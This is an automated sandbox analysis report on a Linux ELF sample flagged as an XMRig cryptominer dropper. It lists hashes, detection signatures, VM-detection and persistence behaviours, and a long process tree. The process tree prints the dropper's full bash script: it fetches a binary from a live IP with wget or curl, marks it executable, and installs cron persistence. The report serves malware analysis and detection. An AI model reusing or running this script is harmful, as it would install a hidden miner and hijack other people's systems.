Analysis
-
max time kernel
150s -
max time network
152s -
platform
ubuntu-24.04_amd64 -
resource
ubuntu2404-amd64-20250307-en -
resource tags
arch:amd64arch:i386image:ubuntu2404-amd64-20250307-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system -
submitted
21/03/2025, 18:22
Static task
static1
Behavioral task
behavioral1
Sample
.main.elf
Resource
ubuntu2404-amd64-20250307-en
General
-
Target
.main.elf
-
Size
918KB
-
MD5
874e46dcc17a730a979a3b8853635f13
-
SHA1
05dee4a5ae043750a2d0e2bd9b79e1825a15d1fc
-
SHA256
af508a2d4957cc29eb75519ea027bce5ed412f0b8bda9193dd3b4673eae7df28
-
SHA512
ef1d3337dd143e31ff49400bbe41f34e414308cf23f9ccd6adc4af34600b4e738da9fdc458941dd1ec0e27b922e2516c22bf2e8ad2c156b71613573b7157dab8
-
SSDEEP
12288:qARJ0BriE6YngDkV5tkui3hp4GyoJzBONt+zbyyUbRkoXd:qARJ0PLngDkbtkuiRp430zBotk6
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/fstream-1.dat family_xmrig behavioral1/files/fstream-1.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 7308 bash 7318 chmod 7320 chmod -
Executes dropped EXE 52 IoCs
ioc pid Process /var/tmp/.rcu_gp/diicot 7331 bash /var/tmp/.rcu_gp/.report_system 7333 diicot /var/tmp/.rcu_gp/diicot 7345 bash /var/tmp/.rcu_gp/diicot 7351 bash /var/tmp/.rcu_gp/diicot 7357 bash /var/tmp/.rcu_gp/diicot 7363 bash /var/tmp/.rcu_gp/diicot 7369 bash /var/tmp/.rcu_gp/diicot 7375 bash /var/tmp/.rcu_gp/diicot 7384 bash /var/tmp/.rcu_gp/diicot 7390 bash /var/tmp/.rcu_gp/diicot 7396 bash /var/tmp/.rcu_gp/diicot 7402 bash /var/tmp/.rcu_gp/diicot 7408 bash /var/tmp/.rcu_gp/diicot 7414 bash /var/tmp/.rcu_gp/diicot 7420 bash /var/tmp/.rcu_gp/diicot 7426 bash /var/tmp/.rcu_gp/diicot 7432 bash /var/tmp/.rcu_gp/diicot 7438 bash /var/tmp/.rcu_gp/diicot 7456 bash /var/tmp/.rcu_gp/diicot 7468 bash /var/tmp/.rcu_gp/diicot 7474 bash /var/tmp/.rcu_gp/diicot 7480 bash /var/tmp/.rcu_gp/diicot 7486 bash /var/tmp/.rcu_gp/diicot 7492 bash /var/tmp/.rcu_gp/diicot 7498 bash /var/tmp/.rcu_gp/diicot 7504 bash /var/tmp/.rcu_gp/diicot 7510 bash /var/tmp/.rcu_gp/diicot 7516 bash /var/tmp/.rcu_gp/diicot 7522 bash /var/tmp/.rcu_gp/diicot 7528 bash /var/tmp/.rcu_gp/diicot 7534 bash /var/tmp/.rcu_gp/diicot 7540 bash /var/tmp/.rcu_gp/diicot 7546 bash /var/tmp/.rcu_gp/diicot 7554 bash /var/tmp/.rcu_gp/diicot 7560 bash /var/tmp/.rcu_gp/diicot 7566 bash /var/tmp/.rcu_gp/diicot 7572 bash /var/tmp/.rcu_gp/diicot 7578 bash /var/tmp/.rcu_gp/diicot 7584 bash /var/tmp/.rcu_gp/diicot 7590 bash /var/tmp/.rcu_gp/diicot 7596 bash /var/tmp/.rcu_gp/diicot 7602 bash /var/tmp/.rcu_gp/diicot 7608 bash /var/tmp/.rcu_gp/diicot 7614 bash /var/tmp/.rcu_gp/diicot 7620 bash /var/tmp/.rcu_gp/diicot 7626 bash /var/tmp/.rcu_gp/diicot 7632 bash /var/tmp/.rcu_gp/diicot 7638 bash /var/tmp/.rcu_gp/diicot 7644 bash /var/tmp/.rcu_gp/diicot 7650 bash /var/tmp/.rcu_gp/diicot 7656 bash /var/tmp/.rcu_gp/diicot 7662 bash -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name .report_system File opened for reading /sys/devices/virtual/dmi/id/board_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/sys_vendor .report_system -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.DjlPWC crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_version .report_system File opened for reading /sys/devices/virtual/dmi/id/product_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/product_uuid .report_system File opened for reading /sys/devices/virtual/dmi/id/board_name .report_system File opened for reading /sys/devices/virtual/dmi/id/board_version .report_system File opened for reading /sys/devices/virtual/dmi/id/board_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_type .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_version .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_version .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_date .report_system -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo .report_system -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/possible .report_system File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type .report_system File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level .report_system File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq .report_system File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity .report_system File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets .report_system File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/possible pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level .report_system -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/firmware/dmi/tables/smbios_entry_point .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/bus/soc/devices .report_system File opened for reading /sys/devices/system/node/node0/access1/initiators .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node/node0/hugepages .report_system File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/cpu_atom/cpus .report_system File opened for reading /sys/kernel/mm/hugepages .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node/online .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency .report_system File opened for reading /sys/firmware/dmi/tables/DMI .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/fs/cgroup/cpuset.mems.effective .report_system File opened for reading /sys/devices/system/cpu .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/devices/system/node pgrep File opened for reading /sys/bus/dax/devices .report_system -
description ioc Process File opened for reading /proc/997/stat pgrep File opened for reading /proc/7402/cmdline pgrep File opened for reading /proc/46/ctty pgrep File opened for reading /proc/6690/ctty pgrep File opened for reading /proc/6792/stat pgrep File opened for reading /proc/7063/status pgrep File opened for reading /proc/189/cgroup pgrep File opened for reading /proc/6505/cmdline pgrep File opened for reading /proc/71/status pgrep File opened for reading /proc/35/ctty pgrep File opened for reading /proc/6783/ctty pgrep File opened for reading /proc/6783/cmdline pgrep File opened for reading /proc/7042/status pgrep File opened for reading /proc/6800/cgroup pgrep File opened for reading /proc/21/status pgrep File opened for reading /proc/6629/cmdline pgrep File opened for reading /proc/36/status pgrep File opened for reading /proc/30/status pgrep File opened for reading /proc/6710/status pgrep File opened for reading /proc/6790/status pgrep File opened for reading /proc/26/cgroup pgrep File opened for reading /proc/10/cgroup pgrep File opened for reading /proc/6786/stat pgrep File opened for reading /proc/7134/cgroup pgrep File opened for reading /proc/1068/stat pgrep File opened for reading /proc/1006/ctty pgrep File opened for reading /proc/6/ctty pgrep File opened for reading /proc/6783/stat pgrep File opened for reading /proc/6802/stat pgrep File opened for reading /proc/1429/status pgrep File opened for reading /proc/54/ctty pgrep File opened for reading /proc/7096/cmdline pgrep File opened for reading /proc/6940/cmdline pgrep File opened for reading /proc/195/status pgrep File opened for reading /proc/3/cgroup pgrep File opened for reading /proc/1253/stat pgrep File opened for reading /proc/195/ctty pgrep File opened for reading /proc/6523/ctty pgrep File opened for reading /proc/199/status pgrep File opened for reading /proc/7134/stat pgrep File opened for reading /proc/33/ctty pgrep File opened for reading /proc/7134/ctty pgrep File opened for reading /proc/25/stat pgrep File opened for reading /proc/53/ctty pgrep File opened for reading /proc/191/stat pgrep File opened for reading /proc/7295/stat pgrep File opened for reading /proc/6970/cgroup pgrep File opened for reading /proc/6759/cmdline pgrep File opened for reading /proc/37/ctty pgrep File opened for reading /proc/508/stat pgrep File opened for reading /proc/7270/cgroup pgrep File opened for reading /proc/6823/cmdline pgrep File opened for reading /proc/201/cgroup pgrep File opened for reading /proc/197/cmdline pgrep File opened for reading /proc/6599/ctty pgrep File opened for reading /proc/17/stat pgrep File opened for reading /proc/1019/ctty pgrep File opened for reading /proc/7295/ctty pgrep File opened for reading /proc/7663/cgroup pgrep File opened for reading /proc/29/cmdline pgrep File opened for reading /proc/35/status pgrep File opened for reading /proc/1027/ctty pgrep File opened for reading /proc/54/cgroup pgrep File opened for reading /proc/7468/cgroup pgrep
Processes
-
/tmp/.main.elf/tmp/.main.elf1⤵PID:7308
-
/bin/bash/tmp/.main.elf -c "exec '/tmp/.main.elf' \"\$@\"" /tmp/.main.elf1⤵PID:7308
-
/tmp/.main.elf/tmp/.main.elf1⤵PID:7308
-
/bin/bash/tmp/.main.elf -c " #!/bin/bash RCU_GP_DIR=\"/var/tmp/.rcu_gp\" REPORT_SYSTEM_URL=\"http://104.245.240.20/.puscarie/.report_system\" DIICOT_FILE=\"diicot\" setup_report_system() { if [ ! -d \"\$RCU_GP_DIR\" ]; then mkdir \"\$RCU_GP_DIR\" fi cd \"\$RCU_GP_DIR\" || exit if command -v wget &> /dev/null; then wget \"\$REPORT_SYSTEM_URL\" -O .report_system elif command -v curl &> /dev/null; then curl -o .report_system \"\$REPORT_SYSTEM_URL\" else echo \"Nu s-a gasit nici wget, nici curl\" exit 1 fi chmod +x .report_system cd - || exit } create_diicot_file() { DIICOT_PATH=\"\$RCU_GP_DIR/\$DIICOT_FILE\" cat <<EOL > \"\$DIICOT_PATH\" #!/bin/bash if ! pgrep -x .report_system >/dev/null; then /var/tmp/.rcu_gp/./.report_system > /dev/null 2>&1 & disown \$* else : fi EOL chmod +x \"\$DIICOT_PATH\" } setup_cron_jobs() { locatie=\"\$RCU_GP_DIR\" locatie2=\"\$PWD\" if [ ! -f \"\$locatie/.ps4\" ]; then echo \"\$locatie\" > \"\$locatie/.ps4\" fi if ! crontab -l | grep -q '.main'; then rm -rf \"\$locatie/.ps5\" echo \"@daily \$locatie/\$DIICOT_FILE\" >> \"\$locatie/.ps5\" sleep 1 echo \"@reboot \$locatie2/.main > /dev/null 2>&1 & disown\" >> \"\$locatie/.ps5\" sleep 1 echo \"@monthly \$locatie2/.main > /dev/null 2>&1 & disown\" >> \"\$locatie/.ps5\" sleep 1 crontab \"\$locatie/.ps5\" sleep 1 rm -rf \"\$locatie/.ps5\" fi } setup_report_system create_diicot_file setup_cron_jobs while : do \$(cat /var/tmp/.rcu_gp/.ps4)/diicot setup_cron_jobs sleep 2.5 done echo \"Merge bn mineru serifule\" " /tmp/.main.elf1⤵
- File and Directory Permissions Modification
- Executes dropped EXE
PID:7308 -
/usr/bin/mkdirmkdir /var/tmp/.rcu_gp2⤵PID:7310
-
-
/usr/bin/wgetwget http://104.245.240.20/.puscarie/.report_system -O .report_system2⤵PID:7311
-
-
/usr/bin/chmodchmod +x .report_system2⤵
- File and Directory Permissions Modification
PID:7318
-
-
/usr/bin/catcat2⤵PID:7319
-
-
/usr/bin/chmodchmod +x /var/tmp/.rcu_gp/diicot2⤵
- File and Directory Permissions Modification
PID:7320
-
-
/usr/bin/grepgrep -q .main2⤵PID:7322
-
-
/usr/bin/crontabcrontab -l2⤵PID:7321
-
-
/usr/bin/rmrm -rf /var/tmp/.rcu_gp/.ps52⤵PID:7323
-
-
/usr/bin/sleepsleep 12⤵PID:7324
-
-
/usr/bin/sleepsleep 12⤵PID:7325
-
-
/usr/bin/sleepsleep 12⤵PID:7326
-
-
/usr/bin/crontabcrontab /var/tmp/.rcu_gp/.ps52⤵
- Creates/modifies Cron job
PID:7327
-
-
/usr/bin/sleepsleep 12⤵PID:7328
-
-
/usr/bin/rmrm -rf /var/tmp/.rcu_gp/.ps52⤵PID:7329
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7330
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:7331 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7332
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7334
-
-
/usr/bin/grepgrep -q .main2⤵PID:7335
-
-
/usr/bin/sleepsleep 2.52⤵PID:7336
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7344
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7345
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7346
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7347
-
-
/usr/bin/grepgrep -q .main2⤵PID:7348
-
-
/usr/bin/sleepsleep 2.52⤵PID:7349
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7350
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7351
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7352
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:7354
-
-
/usr/bin/crontabcrontab -l2⤵PID:7353
-
-
/usr/bin/sleepsleep 2.52⤵PID:7355
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7356
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7357
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7358
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7359
-
-
/usr/bin/grepgrep -q .main2⤵PID:7360
-
-
/usr/bin/sleepsleep 2.52⤵PID:7361
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7362
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7363
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7364
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7365
-
-
/usr/bin/grepgrep -q .main2⤵PID:7366
-
-
/usr/bin/sleepsleep 2.52⤵PID:7367
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7368
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7369
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7370
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7371
-
-
/usr/bin/grepgrep -q .main2⤵PID:7372
-
-
/usr/bin/sleepsleep 2.52⤵PID:7373
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7374
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7375
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7376
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7377
-
-
/usr/bin/grepgrep -q .main2⤵PID:7378
-
-
/usr/bin/sleepsleep 2.52⤵PID:7379
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7383
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7384
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7385
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7386
-
-
/usr/bin/grepgrep -q .main2⤵PID:7387
-
-
/usr/bin/sleepsleep 2.52⤵PID:7388
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7389
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7390
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7391
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7392
-
-
/usr/bin/grepgrep -q .main2⤵PID:7393
-
-
/usr/bin/sleepsleep 2.52⤵PID:7394
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7395
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7396
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:7397
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7398
-
-
/usr/bin/grepgrep -q .main2⤵PID:7399
-
-
/usr/bin/sleepsleep 2.52⤵PID:7400
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7401
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7402
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:7403
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:7405
-
-
/usr/bin/crontabcrontab -l2⤵PID:7404
-
-
/usr/bin/sleepsleep 2.52⤵PID:7406
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7407
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7408
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
PID:7409
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7410
-
-
/usr/bin/grepgrep -q .main2⤵PID:7411
-
-
/usr/bin/sleepsleep 2.52⤵PID:7412
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7413
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7414
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7415
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7416
-
-
/usr/bin/grepgrep -q .main2⤵PID:7417
-
-
/usr/bin/sleepsleep 2.52⤵PID:7418
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7419
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7420
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7421
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7422
-
-
/usr/bin/grepgrep -q .main2⤵PID:7423
-
-
/usr/bin/sleepsleep 2.52⤵PID:7424
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7425
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7426
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7427
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7428
-
-
/usr/bin/grepgrep -q .main2⤵PID:7429
-
-
/usr/bin/sleepsleep 2.52⤵PID:7430
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7431
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7432
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7433
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7434
-
-
/usr/bin/grepgrep -q .main2⤵PID:7435
-
-
/usr/bin/sleepsleep 2.52⤵PID:7436
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7437
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7438
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7439
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:7441
-
-
/usr/bin/crontabcrontab -l2⤵PID:7440
-
-
/usr/bin/sleepsleep 2.52⤵PID:7442
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7455
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7456
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7457
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7464
-
-
/usr/bin/grepgrep -q .main2⤵PID:7465
-
-
/usr/bin/sleepsleep 2.52⤵PID:7466
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7467
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7468
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:7469
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7470
-
-
/usr/bin/grepgrep -q .main2⤵PID:7471
-
-
/usr/bin/sleepsleep 2.52⤵PID:7472
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7473
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7474
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:7475
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7476
-
-
/usr/bin/grepgrep -q .main2⤵PID:7477
-
-
/usr/bin/sleepsleep 2.52⤵PID:7478
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7479
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7480
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:7481
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7482
-
-
/usr/bin/grepgrep -q .main2⤵PID:7483
-
-
/usr/bin/sleepsleep 2.52⤵PID:7484
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7485
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7486
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:7487
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:7488
-
-
/usr/bin/grepgrep -q .main2⤵PID:7489
-
-
/usr/bin/sleepsleep 2.52⤵PID:7490
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:7491
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵PID:7492
-
/usr/bin/pgreppgrep -x .report_system3⤵
- Enumerates kernel/hardware configuration
PID:7493
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:7495
-
-
